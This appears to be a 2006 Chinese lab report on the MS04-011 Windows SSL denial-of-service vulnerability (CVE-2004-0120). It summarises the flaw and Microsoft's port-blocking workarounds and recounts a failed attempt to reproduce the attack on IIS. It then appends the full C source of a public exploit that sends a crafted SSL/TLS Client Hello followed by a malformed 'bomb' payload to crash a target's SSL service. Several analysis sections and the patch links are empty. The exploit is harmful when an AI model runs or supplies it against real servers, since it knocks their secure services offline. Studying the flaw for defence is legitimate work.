Microsoft Windows SSL远程拒绝服务漏洞（ MS04-011）
--缓冲区溢出攻击攻击
sunjita 3/15/2006
1. 漏洞概况
这个漏洞最初由Tenable Network Security 的 John Lampe 发现，CVE 编号为CAN-2004-0120。
Microsoft Windows包含的SSL 库实现处理畸形SSL消息时存在问题，远程攻击者可以利用这个漏洞使系统停止对SSL 连接的响应，在Windows 2003系统中还可以使系统重新启动。Microsoft 安全套接字层 (SSL) 库中的拒绝服务漏洞会影响其对特制的 SSL 消息的处理方式。在 Windows 2000 和 Windows XP 中，此漏洞可能导致受影响的系统停止接受 SSL 连接。在 Windows Server 2003 中，此漏洞可能导致受影响的系统自动重新启动。注意：虽然攻击者无法利用拒绝服务漏洞来执行代码或提升权限，但此漏洞可能导致受影响的系统停止接受请求。
只有那些启用了 SSL 的系统会受到影响，通常仅仅是服务器系统。在任何受影响的系统中，默认情况下都不启用 SSL 支持。然而，在 Web 服务器中一般要使用 SSL ，以支持电子商务程序、网上银行以及其他要求安全通信的程序。采用防火墙最佳做法和标准的默认防火墙配置，有助于保护网络免受从企业防线外部发起的攻击。按照最佳做法，应使连接到 Internet 的系统所暴露的端口数尽可能少。 Windows NT 4.0 不受此漏洞影响。
SSL 漏洞 - CAN-2004-0120 的变通办法： Microsoft 已测试过以下变通办法。尽管这些变通办法不能从根本上纠正此漏洞，但它们有助于阻塞已知的攻击媒介。如果某种变通办法会导致功能下降，将在下面进行说明。
在防火墙处阻塞端口 443 和 636 ；端口 443 用于接收 SSL 通信。端口 636 用于 LDAP SSL 连接。将其阻塞在防火墙处，有助于保护位于防火墙后面的系统免受利用此漏洞进行的攻击。其他端口可能也会被用来利用此漏洞。然而，这里列出的端口是最常见的攻击媒介。 Microsoft 建议阻塞来自 Internet 的所有非法入站通信，以帮助防止可能利用其他端口进行的攻击。变通办法的影响：如果阻塞端口 443 或 636 ，受影响的系统就无法再接受使用 SSL 或 LDAPS 的外部连接。
2. 攻击过程的实例分析
首先需要搭建平台。第一天，搭建WinXP上的IIS 。建立SSL安全服务首先需要通过WEB默认属性中的"目录安全性"选项建立一个证书申请。得到证书文件 certreq.txt后，需要找一台认证服务器颁发证书。由于建立认证服务器比较繁琐，请李丹协助进行了证书发放。然后在服务器导入证书，选择加密访问通道，重启 IIS即可。但是使用找到的工具进行攻击后，攻击失败。怀疑是XP的 SP2已经补上了这个漏洞的原因；因此，当日下午借了一张没有打过任何SP的 Win2000的服务器版进行安装。第二天早上，按照先前的次序顺利的为IIS 5启动了 SSL通道，用工具进行攻击后依然无效。怀疑是工具无效导致。进行半个小时的工具搜索后，依然找不到新的工具。由于时间已经过去了1天多，为了控制进度，决定放弃工具查找。
4．分析
4.2 详细分析
原理是匹配攻击工具的shellcode 。攻击工具系网上搜索得到。
4.3 改进意见
5．影响系统
Microsoft Windows XP
Microsoft Windows 2003
Microsoft Windows 2000
补丁下载：
Microsoft Windows 2000 Service Pack 2, Microsoft Windows 2000 Service Pack 3, 和Microsoft Windows 2000 Service Pack 4 ：
Microsoft Windows XP and Microsoft Windows XP Service Pack 1 ：
Microsoft Windows XP 64-Bit Edition Service Pack 1：
Microsoft Windows XP 64-Bit Edition Version 2003：
6. 对应BUG库
BUGTRAQ ID: 10115
CVE(CAN) ID: CVE-2004-0120
7. 附：攻击程序
/*
* Microsoft SSL Remote Denial of Service
* MS04-011
*
* Tested succesfully against IIS 5.0 with SSL.
*
* David Barroso Berrueta dbarroso s21sec com
* Alfredo Andres Omella aandres s21sec com
*
* S21sec - www s21sec com
*/
#include <stdio.h>
#include <stdlib.h >
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <ctype.h>
#include <string.h>
#include <arpa/nameser.h>
#include <errno.h>
int exist_host( char *, u_long *);
void init_hello(void);
/* begin cipher suites: */
char cipher_suites[] = /* 52 */
{0x00,0x39,0x00,0x38,0x00,0x35,0x00,0x16,0x00,0x13,0x00,0x0A,0x00,0x33,0x00
,0x32,0x00,0x2F,0x00,0x66,0x00,0x05,0x00,0x04,0x00,0x63,0x00,0x62,0x00,0x61
,0x00,0x15,0x00,0x12,0x00,0x09,0x00,0x65,0x00,0x64,0x00,0x60,0x00,0x14,0x00
,0x11,0x00,0x08,0x00,0x06,0x00,0x03};
/* begin binary data: */
char bin_data[] = /* 1308 */
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struct ssl_hello {
char handshake;
short version;
short length;
char client_hello;
char client_length[3];
short client_version;
int timestamp;
char random_bytes[28];
char session_id_length;
char session_id[32];
short cipher_length;
char cipher_suite[52];
char compression_length;
char compression_method;
} __attribute__((packed)) ssl_hello;
int tls;
int
main(int argc, char *argv[])
{
struct sockaddr_in addr;
int sock,i;
char buffer[32];
setvbuf(stdout, NULL, _IONBF, 0);
printf("\n<*> S21sec Microsoft IIS 5.0 SSL/TLS Remote DoS <*>\n\n");
tls=0;
if ((argc != 4) && (argc != 3))
{
printf(" Usage: %s [host] [port] {t}\n", argv[0]);
printf(" host - Host (name/IP) to connect to.\n");
printf(" port - TCP port to connect to.\n");
printf(" t - Enable TLS (disabled by default).\n\n");
exit(1);
}
if (argc == 4)
{
if ( strcmp(argv[3], "t"))
{
printf(" -> Ouch!! What is '%s'?\n\n",argv[3]);
exit(1);
}
else
{
tls=1;
bin_data[2]=0x01;
}
}
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(argv[2]));
if ( exist_host( argv[1], (u_long *)&(addr.sin_addr.s_addr) ) )
{
printf(" -> Ouch!! Wrong or nonexistant host '%s'!!\n\n",argv[1]);
exit(1);
}
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf(" -> Error on socket(): %s\n", strerror(errno));
exit(1);
}
printf(" -> Connecting to %s:%s...",argv[1],argv[2]);
if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1)
{
printf("\n -> Error on connect(): %s\n", strerror(errno));
exit(1);
}
init_hello();
printf(" OK\n -> Sending %s Client Hello...",((tls)?"TLS":"SSL"));
if (write(sock, (void *)&ssl_hello, sizeof(struct ssl_hello)) == -1)
{
printf("\n -> Error on write(): %s\n", strerror(errno));
exit(1);
}
printf(" OK\n -> Waiting for %s Server Hello...",((tls)?"TLS":"SSL"));
if (read(sock, (void *)buffer, sizeof(buffer)) == -1)
{
printf("\n -> Error on read(): %s\n", strerror(errno));
exit(1);
}
printf(" OK\n -> Sending bomb...");
if (write(sock, (void *)bin_data, sizeof(bin_data)) == -1)
{
printf("\n -> Error on write(): %s\n", strerror(errno));
exit(1);
}
for (i=0; i<6 ; i++)
{
printf(" B00M!!");
usleep(350000);
}
close(sock);
printf("\n ->\n -> OK. If DoS has been worked you will not be able to negotiate %s with %s:%s\n\n",
((tls)?"TLS":"SSL"),argv[1],argv[2]);
exit(0);
}
int
exist_host( char *nom_host, u_long *bin_host )
{
struct hostent *hinfo;
struct sockaddr_in host_tmp;
struct in_addr host_binario;
memset( (char *)&host_tmp, 0, sizeof(host_tmp) );
memset( (char *)&host_binario, 0, sizeof(host_binario) );
host_tmp.sin_family = AF_INET;
if ( inet_aton( nom_host, &host_binario) )
{
memcpy( (char *)bin_host, (char *)&host_binario, sizeof(host_binario));
return 0;
}
if ( (hinfo = gethostbyname( nom_host )) ) /* Put nom_host into bin_host */
{
memcpy((char *)&host_tmp.sin_addr, hinfo->h_addr, hinfo->h_length);
memcpy((char *)bin_host, (char *) &host_tmp.sin_addr.s_addr,
sizeof( host_tmp.sin_addr.s_addr));
return 0;
}
return 1;
}
void
init_hello(void)
{
ssl_hello.handshake = 0x16;
if (!tls)
ssl_hello.version = htons(0x0300);
else
ssl_hello.version = htons(0x0301);
ssl_hello.length = htons(0x007f);
ssl_hello.client_hello = 0x01;
memcpy((void *)ssl_hello.client_length, (void *)"\x00\x00\x7b", 3);
if (!tls)
ssl_hello.client_version = htons(0x0300);
else
ssl_hello.client_version = htons(0x0301);
ssl_hello.timestamp = htonl(0x407babc0);
memset((void *) ssl_hello.random_bytes, 0x66, 28);
ssl_hello.session_id_length = 0x20;
memset((void *) ssl_hello.session_id, 0x66, 32);
ssl_hello.cipher_length = htons(0x0034);
memcpy((void *)ssl_hello.cipher_suite, (void *)cipher_suites, sizeof(cipher_suites));
ssl_hello.compression_length = 0x01;
ssl_hello.compression_method = 0x00;
}
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